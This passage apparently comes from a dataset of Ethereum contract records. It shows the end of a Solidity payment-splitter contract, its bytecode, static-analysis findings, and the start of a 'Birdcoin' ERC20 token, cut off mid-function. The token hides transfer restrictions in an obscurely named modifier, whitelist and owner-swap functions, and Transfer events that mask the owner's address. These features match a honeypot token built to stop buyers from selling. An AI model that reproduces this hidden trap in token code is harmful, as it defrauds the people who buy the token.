require(d.share > 0, "Address not in distribution list");
d.share = 0;
address _last = _distList[_distList.length - 1];
_distMap[_last].loc = d.loc;
_distList[d.loc] = _last;
_distList.pop();
emit DistributionListChange(_address, false);
shareTotal();
}
function editDistName(address _address, string memory _Name)
external
onlyOwner
{
Dist storage d = _distMap[_address];
require(d.share > 0, "Address not in distribution list");
d.name = _Name;
}
function editDistShare(address _address, uint256 _share)
external
onlyOwner
{
require(_share > 0, "To set share to zero, use removeDist()");
Dist storage d = _distMap[_address];
require(d.share > 0, "Address not in distribution list");
d.share = _share;
shareTotal();
}
function editDistAddress(string memory _Name, address _newAddress)
external
onlyOwner
{
address _oldAddress;
Dist memory d;
for (uint256 i = 0; i < _distList.length; i++) {
_oldAddress = _distList[i];
d = _distMap[_oldAddress];
if (keccak256(bytes(d.name)) == keccak256(bytes(_Name))) {
removeDist(_oldAddress);
addDist(_newAddress, _Name, d.share);
}
}
}
function addToken(address _address, string memory _Name) public onlyOwner {
require(_address != address(0), "Invalid address");
Token storage t = _tokenMap[_address];
require(!t.state, "Address already in token list");
t.state = true;
t.loc = _tokenList.length;
t.name = _Name;
_tokenList.push(_address);
emit TokenListChange(_address, true);
}
function removeToken(address _address) external onlyOwner {
Token storage t = _tokenMap[_address];
require(t.state, "Address not in token list");
t.state = false;
address _last = _tokenList[_tokenList.length - 1];
_tokenMap[_last].loc = t.loc;
_tokenList[t.loc] = _last;
_tokenList.pop();
emit TokenListChange(_address, false);
}
function distribute() external onlyOwner {
if (_distList.length > 0) {
// distribute ETH
uint256 _balance = address(this).balance;
uint256 _unit;
address _address;
if (_balance > 0) {
_unit = _balance / _shareTotal;
for (uint256 i = 0; i < _distList.length; i++) {
_address = _distList[i];
payable(_address).transfer(
_distMap[_address].share * _unit
);
}
emit Distribution(_balance, "ETH");
}
// distribute other tokens
if (_tokenList.length > 0) {
IERC20 _token;
for (uint256 i = 0; i < _tokenList.length; i++) {
_token = IERC20(_tokenList[i]);
_balance = _token.balanceOf(address(this));
if (_balance > 0) {
_unit = _balance / _shareTotal;
for (uint256 j = 0; j < _distList.length; j++) {
_address = _distList[j];
_token.transfer(
_address,
_distMap[_address].share * _unit
);
}
emit Distribution(
_balance,
_tokenMap[_tokenList[i]].name
);
}
}
}
}
}
}
|
0x6080604052600436106101185760003560e01c80636f0fccab116100a0578063a03f016411610064578063a03f0164146103a5578063c1b10032146103ce578063d9d8e58b146103f7578063e4fc6b6d14610434578063f2fde38b1461044b5761011f565b80636f0fccab146102d25780636ff97f1d1461030f578063715018a61461033a5780638da5cb5b1461035157806396c0a39d1461037c5761011f565b80634b3ab9c5116100e75780634b3ab9c5146101db578063573cea96146102185780635969c91d146102435780635fa7b5841461026c5780635fd4b08a146102955761011f565b806319f37361146101215780631be25d641461015e5780632c8da5601461018757806335aaacb5146101b05761011f565b3661011f57005b005b34801561012d57600080fd5b50610148600480360381019061014391906120eb565b610474565b6040516101559190612608565b60405180910390f35b34801561016a57600080fd5b50610185600480360381019061018091906121e3565b6104cd565b005b34801561019357600080fd5b506101ae60048036038101906101a99190612118565b61062c565b005b3480156101bc57600080fd5b506101c56108a8565b6040516101d29190612765565b60405180910390f35b3480156101e757600080fd5b5061020260048036038101906101fd91906120eb565b6108b2565b60405161020f9190612765565b60405180910390f35b34801561022457600080fd5b5061022d6108fe565b60405161023a91906125e6565b60405180910390f35b34801561024f57600080fd5b5061026a60048036038101906102659190612118565b61098c565b005b34801561027857600080fd5b50610293600480360381019061028e91906120eb565b610ab0565b005b3480156102a157600080fd5b506102bc60048036038101906102b791906120eb565b610d78565b6040516102c99190612623565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f491906120eb565b610e4c565b6040516103069190612623565b60405180910390f35b34801561031b57600080fd5b50610324610f20565b60405161033191906125e6565b60405180910390f35b34801561034657600080fd5b5061034f610fae565b005b34801561035d57600080fd5b50610366611036565b60405161037391906125a2565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190612250565b61105f565b005b3480156103b157600080fd5b506103cc60048036038101906103c791906120eb565b611275565b005b3480156103da57600080fd5b506103f560048036038101906103f09190612174565b611528565b005b34801561040357600080fd5b5061041e600480360381019061041991906120eb565b6117d1565b60405161042b9190612608565b60405180910390f35b34801561044057600080fd5b506104496117e5565b005b34801561045757600080fd5b50610472600480360381019061046d91906120eb565b611cde565b005b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050919050565b6104d5611dd6565b73ffffffffffffffffffffffffffffffffffffffff166104f3611036565b73ffffffffffffffffffffffffffffffffffffffff1614610549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054090612725565b60405180910390fd5b6000811161058c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058390612745565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060d90612705565b60405180910390fd5b818160000181905550610627611dde565b505050565b610634611dd6565b73ffffffffffffffffffffffffffffffffffffffff16610652611036565b73ffffffffffffffffffffffffffffffffffffffff16146106a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069f90612725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070f90612645565b60405180910390fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a900460ff16156107ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a490612665565b60405180910390fd5b60018160000160006101000a81548160ff0219169083151502179055506005805490508160010181905550818160020190805190602001906107f0929190611f63565b506005839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff167f317e205c857178aa0ec6eef6a0af715b254d34d6a83f3bf44e3ac46078aa7065600160405161089b9190612608565b60405180910390a2505050565b6000600354905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6060600280548060200260200160405190810160405280929190818152602001828054801561098257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610938575b5050505050905090565b610994611dd6565b73ffffffffffffffffffffffffffffffffffffffff166109b2611036565b73ffffffffffffffffffffffffffffffffffffffff1614610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612725565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990612705565b60405180910390fd5b81816002019080519060200190610aaa929190611f63565b50505050565b610ab8611dd6565b73ffffffffffffffffffffffffffffffffffffffff16610ad6611036565b73ffffffffffffffffffffffffffffffffffffffff1614610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612725565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a900460ff16610bc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb7906126e5565b60405180910390fd5b60008160000160006101000a81548160ff021916908315150217905550600060056001600580549050610bf3919061297f565b81548110610c0457610c03612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160010154600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550806005836001015481548110610c9557610c94612ba5565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005805480610cef57610cee612b76565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590558273ffffffffffffffffffffffffffffffffffffffff167f317e205c857178aa0ec6eef6a0af715b254d34d6a83f3bf44e3ac46078aa70656000604051610d6b9190612608565b60405180910390a2505050565b6060600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018054610dc790612a3d565b80601f0160208091040260200160405190810160405280929190818152602001828054610df390612a3d565b8015610e405780601f10610e1557610100808354040283529160200191610e40565b820191906000526020600020905b815481529060010190602001808311610e2357829003601f168201915b50505050509050919050565b6060600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018054610e9b90612a3d565b80601f0160208091040260200160405190810160405280929190818152602001828054610ec790612a3d565b8015610f145780601f10610ee957610100808354040283529160200191610f14565b820191906000526020600020905b815481529060010190602001808311610ef757829003601f168201915b50505050509050919050565b60606005805480602002602001604051908101604052809291908181526020018280548015610fa457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610f5a575b5050505050905090565b610fb6611dd6565b73ffffffffffffffffffffffffffffffffffffffff16610fd4611036565b73ffffffffffffffffffffffffffffffffffffffff161461102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102190612725565b60405180910390fd5b6110346000611e9f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611067611dd6565b73ffffffffffffffffffffffffffffffffffffffff16611085611036565b73ffffffffffffffffffffffffffffffffffffffff16146110db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d290612725565b60405180910390fd5b60006110e5611fe9565b60005b60028054905081101561126e576002818154811061110957611108612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180606001604052908160008201548152602001600182015481526020016002820180546111a490612a3d565b80601f01602080910402602001604051908101604052809291908181526020018280546111d090612a3d565b801561121d5780601f106111f25761010080835404028352916020019161121d565b820191906000526020600020905b81548152906001019060200180831161120057829003601f168201915b50505050508152505091508480519060200120826040015180519060200120141561125b5761124b83611275565b61125a84868460000151611528565b5b808061126690612aa0565b9150506110e8565b5050505050565b61127d611dd6565b73ffffffffffffffffffffffffffffffffffffffff1661129b611036565b73ffffffffffffffffffffffffffffffffffffffff16146112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e890612725565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001541161137b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137290612705565b60405180910390fd5b6000816000018190555060006002600160028054905061139b919061297f565b815481106113ac576113ab612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160010154600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555080600283600101548154811061143d5761143c612ba5565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600280548061149757611496612b76565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590558273ffffffffffffffffffffffffffffffffffffffff167f9364ef31fb6376e7be09a1115bcb9d1e956818fcf9a28376530e7957dfe4244660006040516115139190612608565b60405180910390a2611523611dde565b505050565b611530611dd6565b73ffffffffffffffffffffffffffffffffffffffff1661154e611036565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b90612645565b60405180910390fd5b60008111611657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164e906126c5565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008160000154146116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d890612685565b60405180910390fd5b818160000181905550600280549050816001018190555082816002019080519060200190611710929190611f63565b506002849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff167f9364ef31fb6376e7be09a1115bcb9d1e956818fcf9a28376530e7957dfe4244660016040516117bb9190612608565b60405180910390a26117cb611dde565b50505050565b6000806117dd836108b2565b119050919050565b6117ed611dd6565b73ffffffffffffffffffffffffffffffffffffffff1661180b611036565b73ffffffffffffffffffffffffffffffffffffffff1614611861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185890612725565b60405180910390fd5b60006002805490501115611cdc57600047905060008060008311156119c1576003548361188e91906128f4565b915060005b60028054905081101561198857600281815481106118b4576118b3612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff166108fc84600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546119499190612925565b9081150290604051600060405180830381858888f19350505050158015611974573d6000803e3d6000fd5b50808061198090612aa0565b915050611893565b507f7ae59881fc4010332b1b69b22befba87cd11b1aca730ada6fef86ceea42269a7836040516119b891906127b0565b60405180910390a15b60006005805490501115611cd857600080600090505b600580549050811015611cd557600581815481106119f8576119f7612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611a5e91906125a2565b60206040518083038186803b158015611a7657600080fd5b505afa158015611a8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aae91906122ac565b94506000851115611cc25760035485611ac791906128f4565b935060005b600280549050811015611c085760028181548110611aed57611aec612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8587600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611b859190612925565b6040518363ffffffff1660e01b8152600401611ba29291906125bd565b602060405180830381600087803b158015611bbc57600080fd5b505af1158015611bd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf49190612223565b508080611c0090612aa0565b915050611acc565b507f7ae59881fc4010332b1b69b22befba87cd11b1aca730ada6fef86ceea42269a7856004600060058581548110611c4357611c42612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201604051611cb9929190612780565b60405180910390a15b8080611ccd90612aa0565b9150506119d7565b50505b5050505b565b611ce6611dd6565b73ffffffffffffffffffffffffffffffffffffffff16611d04611036565b73ffffffffffffffffffffffffffffffffffffffff1614611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5190612725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc1906126a5565b60405180910390fd5b611dd381611e9f565b50565b600033905090565b600080600090505b600280549050811015611e94576001600060028381548110611e0b57611e0a612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015482611e7f919061289e565b91508080611e8c90612aa0565b915050611de6565b508060038190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054611f6f90612a3d565b90600052602060002090601f016020900481019282611f915760008555611fd8565b82601f10611faa57805160ff1916838001178555611fd8565b82800160010185558215611fd8579182015b82811115611fd7578251825591602001919060010190611fbc565b5b509050611fe5919061200a565b5090565b60405180606001604052806000815260200160008152602001606081525090565b5b8082111561202357600081600090555060010161200b565b5090565b600061203a61203584612803565b6127de565b90508281526020810184848401111561205657612055612c08565b5b6120618482856129fb565b509392505050565b60008135905061207881612e34565b92915050565b60008151905061208d81612e4b565b92915050565b600082601f8301126120a8576120a7612c03565b5b81356120b8848260208601612027565b91505092915050565b6000813590506120d081612e62565b92915050565b6000815190506120e581612e62565b92915050565b60006020828403121561210157612100612c12565b5b600061210f84828501612069565b91505092915050565b6000806040838503121561212f5761212e612c12565b5b600061213d85828601612069565b925050602083013567ffffffffffffffff81111561215e5761215d612c0d565b5b61216a85828601612093565b9150509250929050565b60008060006060848603121561218d5761218c612c12565b5b600061219b86828701612069565b935050602084013567ffffffffffffffff8111156121bc576121bb612c0d565b5b6121c886828701612093565b92505060406121d9868287016120c1565b9150509250925092565b600080604083850312156121fa576121f9612c12565b5b600061220885828601612069565b9250506020612219858286016120c1565b9150509250929050565b60006020828403121561223957612238612c12565b5b60006122478482850161207e565b91505092915050565b6000806040838503121561226757612266612c12565b5b600083013567ffffffffffffffff81111561228557612284612c0d565b5b61229185828601612093565b92505060206122a285828601612069565b9150509250929050565b6000602082840312156122c2576122c1612c12565b5b60006122d0848285016120d6565b91505092915050565b60006122e583836122f1565b60208301905092915050565b6122fa816129b3565b82525050565b612309816129b3565b82525050565b600061231a82612859565b612324818561287c565b935061232f83612834565b8060005b8381101561236057815161234788826122d9565b97506123528361286f565b925050600181019050612333565b5085935050505092915050565b612376816129c5565b82525050565b600061238782612864565b612391818561288d565b93506123a1818560208601612a0a565b6123aa81612c17565b840191505092915050565b600081546123c281612a3d565b6123cc818661288d565b945060018216600081146123e757600181146123f95761242c565b60ff198316865260208601935061242c565b61240285612844565b60005b8381101561242457815481890152600182019150602081019050612405565b808801955050505b50505092915050565b6000612442600f8361288d565b915061244d82612c28565b602082019050919050565b6000612465601d8361288d565b915061247082612c51565b602082019050919050565b600061248860248361288d565b915061249382612c7a565b604082019050919050565b60006124ab60268361288d565b91506124b682612cc9565b604082019050919050565b60006124ce601f8361288d565b91506124d982612d18565b602082019050919050565b60006124f160198361288d565b91506124fc82612d41565b602082019050919050565b600061251460208361288d565b915061251f82612d6a565b602082019050919050565b600061253760208361288d565b915061254282612d93565b602082019050919050565b600061255a60038361288d565b915061256582612dbc565b602082019050919050565b600061257d60268361288d565b915061258882612de5565b604082019050919050565b61259c816129f1565b82525050565b60006020820190506125b76000830184612300565b92915050565b60006040820190506125d26000830185612300565b6125df6020830184612593565b9392505050565b60006020820190508181036000830152612600818461230f565b905092915050565b600060208201905061261d600083018461236d565b92915050565b6000602082019050818103600083015261263d818461237c565b905092915050565b6000602082019050818103600083015261265e81612435565b9050919050565b6000602082019050818103600083015261267e81612458565b9050919050565b6000602082019050818103600083015261269e8161247b565b9050919050565b600060208201905081810360008301526126be8161249e565b9050919050565b600060208201905081810360008301526126de816124c1565b9050919050565b600060208201905081810360008301526126fe816124e4565b9050919050565b6000602082019050818103600083015261271e81612507565b9050919050565b6000602082019050818103600083015261273e8161252a565b9050919050565b6000602082019050818103600083015261275e81612570565b9050919050565b600060208201905061277a6000830184612593565b92915050565b60006040820190506127956000830185612593565b81810360208301526127a781846123b5565b90509392505050565b60006040820190506127c56000830184612593565b81810360208301526127d68161254d565b905092915050565b60006127e86127f9565b90506127f48282612a6f565b919050565b6000604051905090565b600067ffffffffffffffff82111561281e5761281d612bd4565b5b61282782612c17565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006128a9826129f1565b91506128b4836129f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128e9576128e8612ae9565b5b828201905092915050565b60006128ff826129f1565b915061290a836129f1565b92508261291a57612919612b18565b5b828204905092915050565b6000612930826129f1565b915061293b836129f1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561297457612973612ae9565b5b828202905092915050565b600061298a826129f1565b9150612995836129f1565b9250828210156129a8576129a7612ae9565b5b828203905092915050565b60006129be826129d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612a28578082015181840152602081019050612a0d565b83811115612a37576000848401525b50505050565b60006002820490506001821680612a5557607f821691505b60208210811415612a6957612a68612b47565b5b50919050565b612a7882612c17565b810181811067ffffffffffffffff82111715612a9757612a96612bd4565b5b80604052505050565b6000612aab826129f1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ade57612add612ae9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f4164647265737320616c726561647920696e20746f6b656e206c697374000000600082015250565b7f4164647265737320616c726561647920696e20646973747269627574696f6e2060008201527f6c69737400000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5368617265206d7573742062652067726561746572207468616e207a65726f00600082015250565b7f41646472657373206e6f7420696e20746f6b656e206c69737400000000000000600082015250565b7f41646472657373206e6f7420696e20646973747269627574696f6e206c697374600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4554480000000000000000000000000000000000000000000000000000000000600082015250565b7f546f2073657420736861726520746f207a65726f2c207573652072656d6f766560008201527f4469737428290000000000000000000000000000000000000000000000000000602082015250565b612e3d816129b3565b8114612e4857600080fd5b50565b612e54816129c5565b8114612e5f57600080fd5b50565b612e6b816129f1565b8114612e7657600080fd5b5056fea2646970667358221220e35ce0d3a52dde2ca5a328cf06714376db46a95f1b93b22436b37bb9254edcc164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,046 |
0xb01128ebe7fb76a669a72fc7741c30ec90e240f5
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Birdcoin is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0xf3b9569F82B18aEf890De263B84189bd33EBe452;
address public _ownr = 0x09728Db4F4e04b3e24ba128fcC59dFD071b3a4b5;
constructor () public {
_name = "Birdcoin";
_symbol = "HOOT";
_decimals = 18;
uint256 initialSupply = 666666666666666 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
